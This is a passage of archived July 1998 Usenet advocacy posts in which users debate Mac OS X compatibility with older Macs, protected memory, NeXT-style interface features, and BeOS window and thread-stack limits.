References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <not-2007982335410001@ip-26-018.phx.primenet.com> <6p1e3r$ub9$1@bunyip.cc.uq.edu.au> <joe.ragosta-2107980812360001@0.0.0.0> <6p2u11$9g3$1@nnrp1.dejanews.com> <6p34en$qf3$3@server.signat.org>
In article <6p34en$qf3$3@server.signat.org>,
maury@remove_this.istar.ca (Maury Markowitz) wrote:
>> You claim that people needed a new PC to run Windows 95
>> well while Apple will require a new Mac to run Mac OS X
>> at all.
>
> Sorry, that last sentance is not yet known for sure.
Avie indicated that the probability of MacOS X running even on a subset of the
older PCI Macs was low.
--
--
Brian Quinlan
quinlan@intergate.bc.ca
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/rg_mkgrp.xp Create Your Own Free Member Forum
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 23:46:59 -0500
Organization: Prairie Group
Message-ID: <MPG.101f2ac1586559089899d9@news.supernews.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p39n6$654$1@lwnws01.ne.highway1.com>
In article <6p39n6$654$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
says...
> don.brown@cesoft.com (Donald Brown) wrote:
> > In article <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se>,
> > qwerty.x@algonet.se says...
> > > Nice try. The difference is that your example shows that it's possible
> > > to intentionally do damage to any system (what else is new?). While my
> > > example shows that 8.1 is very venerable to bugs in applications,
> > > letting them freely wreak havoc with the entire system. That's simply
> > > not acceptable by today's standards.
> > >
> > Given that the OSes in greatest use are Win 3.1, Win95, and MacOS, all of
> > which have that weakness, there are a lot of people who find it
> > acceptable.
> >
> > Would it be better if that weakness wasn't there? Absolutely. But that
> > doesn't make the OS unacceptable.
>
>
> Billions and billions of people across the globe have their human rights
> consistently and severly violated. The fact that it continues to occur does
> not mean it's acceptable. The same for all the lameness in the macOS,
et al.
Human Rights violated. No Protected Memory. Yup, exactly the same.
Operating systems without protected memory run. They can run multiple
applications. Very productive work can be performed on them. It works.
It usually works very well. Millions of people are finding the computers
running these PM-less OSes to be valuable tools.
IMHO, that makes it quite acceptable. Not perfect, but acceptable.
If you don't think it's acceptable to you, then you should make your
choices accordingly. Please don't assume that view is universal. It
ain't.
Donald
From: don.brown@cesoft.com (Donald Brown)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Tue, 21 Jul 1998 23:58:48 -0500
Organization: Prairie Group
Message-ID: <MPG.101f2d847d70bf3c9899dc@news.supernews.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <B1DA7956-48FFC@206.165.43.17>
In article <B1DA7956-48FFC@206.165.43.17>, english@primenet.com says...
> Joe Ragosta <joe.ragosta@dol.net> said:
>
> >Oh, you mean the one after that. Just how many future software versions
> >running on your 7300 is the _right_ number? Where does Apple draw the
> >line?
>
> OK, so now we can assume that Apple can rightfully, legally, ethically and
> morally introduce a new OS that will only run with the latest generation
> hardware?
>
> Where does Apple draw the line, Joe?
Last I heard, Apple exists in a free country where the individual
companies can decide what products to make, it being up to the consumers
to accept or reject.
> Where I, and my lawyers (part of the almost-certain-to-happen
> class-action-suit) claim that it does, if a judge rules in our favor.
No way. Rhapsody/Mac OS-X Server will run as claimed. You may want to
call it a technicality, but the law deals with technicalities.
> Here's my challenge to Apple:
>
> I am willing to pay $50 MORE for a PCI version of MacOS X than for the G3
> version.
>
> How many are willing to do the same?
>
> Betcha that even if 1 million of us said that we were willing to pay $50
> more, that Apple would still say "no" to a pre-G3 version of MacOS X
> because it's not about expenses, but about control.
Will you add a statement that you are willing to wait one year after the
G3 version is released?
Donald
From: Jay Riley <datamagik@usa.net>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: 22 Jul 1998 05:08:22 GMT
Organization: University of Colorado at Boulder
Message-ID: <6p3s46$2v3@lace.colorado.edu>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <6p3ffd$3fb$1@server.signat.org>
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I basically agree with Maury on the points he makes so I'm leaving the quoted
stuff alone, but want to add:
I've read of a project to port BeOS API's to Yellow Box. If true this would
allow developers to write code that easily compiles to BeOS, MacOS X, and
MacOS X Server (aka Rhapsody). Come to think of it, since Apple appears
willing to offer Yellow Box for Windows 9x/NT a single code stream could
concievably compile on those platforms as well.
The ability to write code once that runs simultaneously on several platforms
is the holy grail of developers (naming no names, but more than one company
has gone belly up trying to stretch their resources between too many
platforms instead of sticking to one where they are strong).
I view Be Inc's golden opportunity as having THEIR os shipping now, today. It
is essentially a UNIX based design (MacOS X & Server). Although lacking the
maturity and Apple Computer patents of the Apple OS's it allows developers to
ship code that will run on both Intel and PowerPC hardware (with BeOS running
of course), and to do so today.
If someone like Metrowerks were to offer a truly platform independent
framework (I think their Lattitude could be just what the doctor ordered) for
BeOS, YellowBox, and the leading GUI UNIXes (Solaris? X-Window?) the platform
issue might finally be brought to the level of the issue of which drive
mechanism you use for your hard drive. And suddenly we'd be judging OS'es on
their merits again.
maury@remove_this.istar.ca (Maury Markowitz) :
> In <19980721190735247592@ts4-11.aug.com> Rick wrote:
> > Jonathan W Hendry <jhendry@shrike.depaul.edu> wrote:
> >
> > > I disagree strongly. A CEO who has experienced failure and
> > > learned from it is far better than a CEO who has never been
> > > truly tested (ala Sculley, Spindler).
> > >
> >
> > . and what has Jobs really leanred?
>
> How to run multi-million(billion) dollar companies. NeXT may not have
> been
> "large", but at some $50M it's nothing to sneeze at. Pixar and Apple on
> the
> other hand are "big". Let me ask you this, how many >$10M companies have
> you
> started? Well, he's started three (at least).
>
> > Then why does he still throw tantrums?
>
> What does that really have to do with anything? Did it ever have
> anything
> to do with anything? Ok, so he may be weird (never met him), but so what?
>
> > .. and whta platform has Jobs successfully sold? Ever?
>
> Macs, Next to some degree, Disney Movies. What, do you think people just
> gave his companies money?
>
> > I have heard anytning in the press ot think Jobs has changed one little
> > bit... either his strengths or his weaknesses.
>
> Well Rick, when your company breaks $100M, you give him a call.
>
> Maury
>
--
Regards,
Jay Riley/Owner, DATAMAGIK
[MacOS email to datamagik@usa.net]
^ DATAMAGIK PO Box 6083 Boulder CO 80306
^ Systems, Software, and Design Engineering
^ 01+ (303)447-6555 jay.riley@usa.net
Posted from BeOS for PowerPC, Release 3.1
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <joe.ragosta-1307982035200001@elk49.dol.net> <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <andyba-ya02408000R2107981148110001@news> <6p2t9m$t36$2@cronkite.cygnus.com> <vpft1.1542$E5.7524002@proxye1.san.rr.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35b5b550.0@nnrp1.news.uk.psi.net>
Date: 22 Jul 98 09:48:00 GMT
"Ed Deans." <eadeans@san.rr.com> wrote:
>John Rudd wrote in message <6p2t9m$t36$2@cronkite.cygnus.com>...
>>NeXT did it right by having the root-menu allow direct actions (like
>>"Print",
>>"Hide", and "Quit"). Perhaps putting the "Quit" in the application/finder
>>menu at the upper-right corner (where "Hide" currently lives) would work.
>>But that still leaves Print.
>
>
>The NeXT way doesn't work well for a horizontal menu bar where there's no
>affordance indicator that it's simply a button which doesn't spawn a
>sub-menu.
Yeah - but that's just saying 'if I break something it doesn't work'.
The NeXT way would work fine for a horizontal menu bar that had consistent
indicators for when a menu item generates a sub-menu.
The problem is the inconsistency in the old MacOS menu system - and is easily
solved by adding the appropriate indicators to the menu bar.
IMO there is no excuse for not having a 'Hide' option on the menu-bar of a
modern multi-tasking system.
One other hugely useful feature that MacOS-X would do well to inherit from
NeXTstep would be the command-key modifier to hide all other applications
when launching a new one - a great convenience when you are switching tasks.
From: ricsha@rainlore.demon.co.uk (Ric)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: View from the trenches
Date: Wed, 22 Jul 1998 02:45:25 GMT
Message-ID: <35b53529.16300619@news.demon.co.uk>
References: <6or4sj$83a$1@supernews.com> <alex-1807981924120001@castle.webis.net> <6ori3d$sbi$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981006510001@pm3a16.rmac.net> <6ot75m$16j$1@lwnws01.ne.highway1.com> <Josh.McKee-1907981309250001@pm3a13.rmac.net> <6ou35v$h4l$1@nnrp1.dejanews.com> <alex-1907982052110001@castle.webis.net> <6ounr5$dj8$1@nnrp1.dejanews.com> <alex-2007981906390001@castle.webis.net>
On Mon, 20 Jul 1998 19:06:38 -0500, alex@webis.net (Alex Kac) wrote:
>In article <6ounr5$dj8$1@nnrp1.dejanews.com>, quinlan@intergate.bc.ca wrote:
>
>: In article <alex-1907982052110001@castle.webis.net>,
>: alex@webis.net (Alex Kac) wrote:
>:
>: > Then buy an Amiga. That's the only machine I've ever had (PCs, Macs,
>: > UNIXen) that can do what you ask for. It could run a 320x240 game in one
>: > screen while printing out a catalog in another 640x480 screen on one
>: > monitor.
>:
>: I've never see a flavor of UNIX that couldn't do all of these things. Even
>: Windows NT and 95 allow you to do this.
>
>I've never seen a game as was originally talked about playable under
>Windows where you could do other things as well. Show me Quake II running
>at the same time as a scan or an FTP download under WinNT or Win95.
>Without stalling. The Amiga didn't have Quake II, but it did have lots of
>games that were full screen arcade games that worked great with
>multi-tasking. I cannot say the same for Windows NT/95.
Admittedly, I'm no gamer (hate the blasted things, waste of time and
computing power), but I do remember that *very* few games for the
Amiga were ever "system-friendly" to any extent let alone to the
extent discussed here, most "banged" the hardware directly and
rendered the rest of the system about as useful as a DOS box in the
same conditions.
>UNIX doesn't have those types of games. At least not many. However, I know
>that UNIX perfectly capable of it.
>
>Finally, show me a current computer that can have multiple "screens" on
>one monitor with each "screen" having different resolutions? This is
>necessary for what we are talking about.
Try the "Workspaces" of BeOS, and, if memory serves, those of NeXTStep
likewise allow seperate resolutions though I'm open to correction on
that one.
From: Fam.Traeger@t-online.de (=?ISO-8859-1?Q?Lars_Tr=E4ger?=)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 22 Jul 1998 02:20:30 GMT
Organization: That hasn't stoped us from shipping Win'95
Message-ID: <6p3i9e$507$2@news02.btx.dtag.de>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <not-1407981111160001@2-25.phx.psn.net> <1dc6e9x.i3kt8jnbcj06N@ip70.albnxr1.ras.tele.dk> <6omdn7$o8c$1@news00.btx.dtag.de> <slrn6qumv7.3qg.jason@jhste1.dyn.ml.org>
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Jason S. <jason@jhste1.dyn.ml.org> wrote:
> Lars Träger posted the following to comp.sys.mac.advocacy:
>
> >> UNIX has always had protected memory.
>
> >Nixen on early PCs (e.g. XENIX) certainly did not.
>
> Wonder what company would sell a *nix without protected memory?
>
> DOH! Stooopid Microsoft.
While XENIX was "*special*" ;-) it wasn't the only Unix for 8086. I'm
also quite sure that Linux for Palm Pilot doesn't have PM.
Lars T.
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
References: <6oefqn$5dm$1@lwnws01.ne.highway1.com> <Pine.SOL.3.96.980714112112.13773A-100000@ux5.cso.uiuc.edu> <mNOSPAMroeder-1407981257200001@192.168.21.171> <pulsar-ya02408000R1407982334120001@news-proxy.cso.uiuc.edu> <mNOSPAMroeder-1507981407020001@192.168.21.170> <Pine.SOL.3.96.980720100804.10712A-100000@ux9.cso.uiuc.edu> <1dchch6.146wrtfq31jjjN@rhrz-isdn3-p34.rhrz.uni-bonn.de> <Pine.SOL.3.96.980720143618.25855A-100000@ux5.cso.uiuc.edu> <id_est-2007982007050001@192.168.1.3> <Pine.SOL.3.96.980721101459.9943B-100000@ux7.cso.uiuc.edu> <joe.ragosta-2107981248320001@wil132.dol.net> <aman-2107982305530001@scz-ca17-19.ix.netcom.com>
From: richard@brainstorm.co.uk. (Richard Frith-Macdonald)
Message-ID: <35b5bbc3.0@nnrp1.news.uk.psi.net>
Date: 22 Jul 98 10:15:31 GMT
aman@aman.com (A-Man) wrote:
>Just to throw another idea into this thread:
>
>There's a meme here that the Mac UI can begin to shed the remnants of
>previous small screen limitations. There are suggestions that various
>NeXT UI concepts can be used since more Mac users have larger screens
>these days. Well, that may not be true of a certain consumer portable
>computer to be released next year.
>
>It may soon be more important than ever that the Mac UI functions well and
>looks good on a 9" display...
Well - I agree but ...
1. Agree - it's essential that the UI should work well on small screens.
2. It's essential that the UI should improve for large screens where the
NeXT UI knocks spots off it.
What really angers me is that the changes to the UI from NeXTstep to Rhapsody
(and presumably to MacOS-X) have been directed towards removing the advanced
features of the NeXT UI - EVEN WHERE IT WOULD HAVE BEEN JUST AS EASY TO MAKE
THEM SWITCHABLE.
I have no major gripe about things like moving the scroll-bar from one side of
the window to another (even though I prefer the NeXT style) - because making
that a selectable option would have been quite difficult, and I understand the
need to get Rhapsody/MacOS-X to market quickly with a UI that is familiar to
existing customers.
I DO object to not being given options to control other changes where NeXT
features have simply been disabled, or where the software has been rewritten
to the extent that making the behaviour configurable would have been trivial
(like the vertical-horizontal menu bar change).
Another example is gaining access to a hidden app -
On a large screen under NeXTstep you have a nice big, easy-to-locate tile for
the application and just double-click it. This does not work well on a small
screen of course.
With the old MacOS you have to pull down a menu and search it for the name and/or
the tiny icon of the application. This is dreadful by comparison - but works on
a small screen where the NeXT UI would not.
The actual code needed to make these behaviours optional would have been tiny compared
to the changes needed to add the MacOS behaviour - so why haven't we been given
the option to pick the UI behaviour theat is appropriate to the size of screen we have?
Of course, Apple could be intending to do just what I want with MacOS-X, and provide
the best of both worlds (which is, after all, what they said they would do in their
press releases). Unfortunately, I have yet to see any evidence of it.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 22 Jul 1998 10:35:30 GMT
Organization: P & L Systems
Message-ID: <6p4f9i$fpq$2@ironhorse.plsys.co.uk>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu>
<joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca>
<6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com>
<6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com>
<6p022p$8s1$1@news.spacelab.net> <6p1hll$f44$1@news10.ispnews.com>
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Cc: malmrose@nospam.jetcity.com
"Charles W. Swiger" <chuck@codefab.com> :
> Corey <corey@virtual-impact.com> wrote:
> >And if you really want to get down to it, it's probably pretty reasonable
> >to limit the amount of open windows down to a *mere* 200 - I mean, any
> >program that produces more than just a couple handfulls should be shot
> >and killed on the spot.
>
What about any *user*? A couple of months ago I had a genuine reason for
opening about 150 windows in a single application. It made the task I was
undertaking a *lot* easier.
> I don't like software that comes with arbitrary limitations. It tends to
> be indicative of sloppy design and lazy (in the negative sense)
> programmers. Still, you are right that this limitation of the BeOS is very
> unlikely to affect reasonable situations.
>
From what I remember if this debate last time round (was it a year ago), the
problem with BeOS was that once more than 100 or so windows were opened the
system slowed to a crawl. Performance on the system I was using in the
situation above was not significantly affected. Has this fault now been
remedied with BeOS?
mmalc.
From: Osma Ahvenlampi <oahvenla@bounce.mail>
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: 22 Jul 1998 13:39:10 +0300
Organization: Telia Finland
Message-ID: <m3sojuw4oh.fsf@ws142.spray.fi>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <m3pvez5lfq.fsf@ws142.spray.fi> <6p30km$6c8$1@news.spacelab.net>
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"Charles W. Swiger" <chuck@codefab.com> writes:
> > It's a matter of running out of address space in one of the system teams
> > (processes), and the "limit" would be much higher on a machine with a larger
> > address space (such as a P-II with all 36 bits of addressing in use).
> True, yet it would be a much better design if the BeOS conserved address space by
> growing thread stack space (say, by manipulating the page tables appropriately)
> rather than giving them fixed size arenas.
Think about it. I promise, you won't be able to find a method that
works transparently. I've thought of it, and many people better than
me have thought of it, and none of us were able to come up with
something that works. I thought I had until I was set right.. A
"normal" stack (like the one most OSes and compilers use) simply HAS
to 1) be consecutive and 2) not move during the existence of the
thread it belongs to. This means that for each stack you have to
reserve a section of address space (although you don't have to map all
of it at once).
There are no easy solutions when you both have to cater for
potentially large stacks (arguably a program that requires a large
stack is badly designed and totally unsuitable to a multithreaded
system in the first place, but you have to make them work anyway) and
potentially huge number of threads. Being able to set thread stack
space when spawning them may help some people, but don't forget it
requires that the developer is aware of the problem and is capable of
analyzing the worst case scenario to determine what will be a safe
size for the stack.
The one thing that's transparent requires that the address space is
allocated in a scattering fashion so that there are "holes" in between
already existing stack spaces where new ones may be inserted, but
that's difficult to handle and only changes the failure mode anyway
(you'll be able to create more threads but at some point they may
start to overflow their stack spaces and crash).
--
Efficiency is a highly developed form of laziness.
Osma Ahvenlampi <oa at iki fi> (damn spammers)
From: John Kheit <jkheit@mediaone.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 22 Jul 1998 05:50:49 GMT
Organization: UCO & Associates, NH, USA
Message-ID: <6p3ujp$jg8$1@lwnws01.ne.highway1.com>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com> <1dchob9.1x9kucbpxp7t2N@du106-6.ppp.algonet.se> <joe.ragosta-2007981850280001@elk61.dol.net> <1dciwhu.mt0pxg1hofrbwN@du137-242.ppp.algonet.se> <MPG.101edc88c6da7b4a9899d6@news.supernews.com> <6p39n6$654$1@lwnws01.ne.highway1.com> <MPG.101f2ac1586559089899d9@news.supernews.com>
don.brown@cesoft.com (Donald Brown) wrote:
> In article <6p39n6$654$1@lwnws01.ne.highway1.com>, jkheit@mediaone.net
> says...
> > don.brown@cesoft.com (Donald Brown) wrote:
> > > Would it be better if that weakness wasn't there? Absolutely.
> > > But that doesn't make the OS unacceptable.
> >
> >
> > Billions and billions of people across the globe have their
> > human rights consistently and severly violated. The fact that
> > it continues to occur does not mean it's acceptable. The same
> > for all the lameness in the macOS,
> et al.
>
> Human Rights violated. No Protected Memory. Yup, exactly the
> same.
You must be a lame OOP programmer to have difficult with systems when they
actually work in orthogonal ways.
> Operating systems without protected memory run. They can run
> multiple applications. Very productive work can be performed on
> them. It works. It usually works very well. Millions of people
> are finding the computers running these PM-less OSes to be valuable
> tools.
>
> IMHO, that makes it quite acceptable. Not perfect, but acceptable.
Your method of foot massage must differ from mine. Yea, many people live in
those countries. They even have happy moments, and birthdays. Their lives
are not constantly miserable. But enough crud is there to make it
unacceptable in principle. Sure, in practice there are lots of human rights
violations and problems throughout the world. In practice you can't deny
that it has become de facto acceptable. But de jure, the UN and all the
nations of the world find it unacceptable in principle. There is an
orthogonal principle that I think applies here to the OS world. Your snippy
comment suggests that your mileage varies.
> If you don't think it's acceptable to you, then you should make
> your choices accordingly. Please don't assume that view is
> universal. It ain't.
I suggest that you take your own advice.
--
Thanks, be well, take care, later, John Kheit; self expressed...
______________________________________________________________________
UCO & A S S O C I A T E S ASCII, MIME, PGP, SUN, & NeXTmail OK
mailto:jkheit@uco-iplaw.com
http://people.ne.mediaone.net/jkheit
You're dangerous because you're honest...
From: wilkie@cg.tuwien.ac.at (Alexander Wilkie)
Newsgroups: comp.sys.next.advocacy
Subject: Re: MIT's Negroponte abandons Mac
Date: 22 Jul 1998 10:34:45 GMT
Organization: Vienna University of Technology, Austria
Message-ID: <6p4f85$h15$1@news.tuwien.ac.at>
References: <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com>
Mime-Version: 1.0
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Cc: rr6013@yahoo.com
In <9Ibt1.6028$7k7.7216735@news.rdc1.sdca.home.com> rr6013@yahoo.com wrote:
> In the latest Wired issue, August, Negroponte concedes Apple's tools and
> technologies "yesterday" solutions
[...]
If I recall correctly, Negroponte has always had this air of an extremely
skilled semi-scientific buzzword merchant about him. People like that don't
have to bother with facts. Of course, these are the people whose "opinions"
the press and "the market" care about...
$0.2E-32
Alexander Wilkie
--
e-mail: wilkie@cg.tuwien.ac.at (NeXTMail preferred, MIME o.k.)
www : http://www.cg.tuwien.ac.at/staff/AlexanderWilkie.html
pgp : finger wilkie@www.cg.tuwien.ac.at
From: gdwarnernyet@ricochet.net (Glen Warner)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.be.advocacy
Subject: Re: Gassee and Apple's decay (was Re: Apple heading to obscurity?)
Date: Wed, 22 Jul 1998 03:55:09 -0700
Organization: GlenTech
Message-ID: <gdwarnernyet-2207980355100001@mg-20664219-152.ricochet.net>
References: <6oj5a0$goe$1@hole.sdsu.edu> <35B08C8B.7E9A@REMOVE.wayne.edu> <19980718131133152609@pm2-2-03.aug.com> <35B16136.5FA1@REMOVE.wayne.edu> <900819436.724616@kelp.mbay.net> <35B40129.7D50@digital.net> <35b414c4.0@news.depaul.edu> <6p175g$du5$1@ash.prod.itd.earthlink.net>
In article <6p175g$du5$1@ash.prod.itd.earthlink.net>, "Pinochet"
<dont!graywant!home!@spam!sprinthere!mail.com> wrote:
> Jonathan W Hendry wrote in message <35b414c4.0@news.depaul.edu>...
>
>
> > *IBM* couldn't even introduce a new OS successfully, and theirs ran
> >Windows apps on Intel PC's.
>
> I wouldn't say that, as it was really a case of IBM *not* wanting to
> do so....They didn't put the effort into it..
If I recall correctly, wasn't IBM and Microsoft involved in OS/2?
Microsoft decided to take its marbles and go home and didn't support OS/2
(i.e., it could only run *some* Windows applications because Microsoft
wouldn't give IBM some necessary data on Windows APIs).
--gdw
--
Remove the 'nyet' from the e-mail address, and you'll be all set.
(%*#$&! spammers ....)
From: malte@oops.se (Malte Tancred)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: 22 Jul 1998 10:51:00 GMT
Organization: OOPS, Gothenburg
Message-ID: <6p4g6k$fct8@Talisker.taide.net>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6ogco6$8ma$1@hole.sdsu.edu> <not-14079814 <6p3lvl$uo8$1@bunyip.cc.uq.edu.au>
In article <6p3lvl$uo8$1@bunyip.cc.uq.edu.au>,
Christopher Smith <drsmithy@usa.net> wrote:
>
>Is this an admission that Apple are and will be about 3 or 4 years behind ?
>Still not much of a point, given that NT4 will "run" on machines made in
>1989, and run usably on machines made in late 1993.
>
NT has problems related to it's backward compatibility,
problems that will not find its equivalent in Mac OS X
Server.
Besides, Mac OS X Server (and later Mac OS X) is a far
more better product than NT. :-)
Cheers,
Malte
--
Malte Tancred
OOPS art, HB
malte@oops.se, http://www.oops.se/~malte
From: malte@oops.se (Malte Tancred)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: 22 Jul 1998 10:31:53 GMT
Organization: OOPS, Gothenburg
Message-ID: <6p4f2p$fct7@Talisker.taide.net>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <1dcj27z.9jrqo43jtddsN@du137-242.ppp.algonet.se> <joe.ragosta-2107981256070001@wil132.dol.net> <1dcjl9h.107erdvyoaij1N@du137-242.ppp.algonet.se>
In article <1dcjl9h.107erdvyoaij1N@du137-242.ppp.algonet.se>,
Magnus Thoor <qwerty.x@algonet.se> wrote:
>
>That's not what I heard but if it's true things look a *little*
>brighter.
>
>I whish Apple would come out with all this in the open instead of just
>giving us food for FUD.
>
This and much more were discussed at WWDC. It was clearly stated
that Rhapsody 1.0 (now renamed to Mac OS Server) was the (probably)
last version delivered for Intel and DPS is going away being
partially replaced by PDF.
Cheers,
Malte
--
Malte Tancred
OOPS art, HB
malte@oops.se, http://www.oops.se/~malte
From: Cosmo Roadkill <cosmo.roadkill%bofh.int@rauug.mil.wi.us>
Newsgroups: comp.sys.next.advocacy
Subject: cmsg cancel <851I2L2C.275YQ60I@alsdjflasjf.com>
Control: cancel <851I2L2C.275YQ60I@alsdjflasjf.com>
Date: 22 Jul 1998 12:13:43 GMT
Organization: BOFH Space Command, Usenet Division
Message-ID: <cancel.851I2L2C.275YQ60I@alsdjflasjf.com>
Sender: akjdsfljalfdj@alsdjflasjf.com
Article cancelled as EMP/ECP, exceeding a BI of 20.
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From: "Christopher Smith" <drsmithy@usa.net>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Wed, 22 Jul 1998 22:26:07 +1000
Organization: University of Queensland
Message-ID: <6p4lpk$uv1$1@bunyip.cc.uq.edu.au>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <6ogco6$8ma$1@hole.sdsu.edu> <not-14079814 <6p3lvl$uo8$1@bunyip.cc.uq.edu.au> <6p4g6k$fct8@Talisker.taide.net>
Malte Tancred <malte@oops.se> wrote in message
6p4g6k$fct8@Talisker.taide.net...
>In article <6p3lvl$uo8$1@bunyip.cc.uq.edu.au>,
>Christopher Smith <drsmithy@usa.net> wrote:
>>
>>Is this an admission that Apple are and will be about 3 or 4 years behind
?
>>Still not much of a point, given that NT4 will "run" on machines made in
>>1989, and run usably on machines made in late 1993.
>>
>
>NT has problems related to it's backward compatibility,
>problems that will not find its equivalent in Mac OS X
